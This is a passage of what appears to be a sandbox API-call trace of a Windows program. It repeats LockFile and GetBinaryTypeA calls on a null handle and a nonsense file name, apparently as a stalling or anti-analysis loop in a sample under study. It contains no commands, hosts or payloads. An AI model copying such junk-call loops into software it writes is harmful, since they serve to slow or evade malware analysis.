dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.398] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.399] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.399] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.399] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.399] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.399] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.399] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.399] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.399] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.399] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.399] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.399] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.399] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.399] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.399] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.399] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.399] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.399] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.399] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.399] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.399] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.400] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.400] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.401] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.401] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.401] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.401] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.401] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.401] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.401] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.401] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.401] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.401] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.401] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.401] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.401] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.401] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.401] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.401] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.401] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.401] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.401] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.401] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.402] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.402] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.402] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.402] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.402] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.402] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.402] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.402] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.402] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.402] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.402] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.402] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.402] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.402] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.402] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.402] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.402] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.402] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.402] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.402] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.403] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.403] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.404] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.404] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.405] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.405] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.405] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.405] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.405] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.405] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.405] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.405] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.405] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.405] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.405] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.405] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.405] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.405] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.405] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.405] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.405] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.405] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.405] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.405] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.406] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.406] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.406] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.406] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.406] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.406] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.406] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.406] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.406] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.406] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.406] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.406] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.406] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.406] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.406] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.406] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.406] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.406] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.406] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.406] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.407] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.407] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.407] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.407] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.407] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.407] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.407] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x0, nNumberOfBytesToLockHigh=0x0) returned 0 [0043.407] GetBinaryTypeA (in: lpApplicationName="Laruronoxexano", lpBinaryType=0x18d4d0 | out: lpBinaryType=0x18d4d0) returned 0 [0043.407] LockFile (hFile=0x0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, 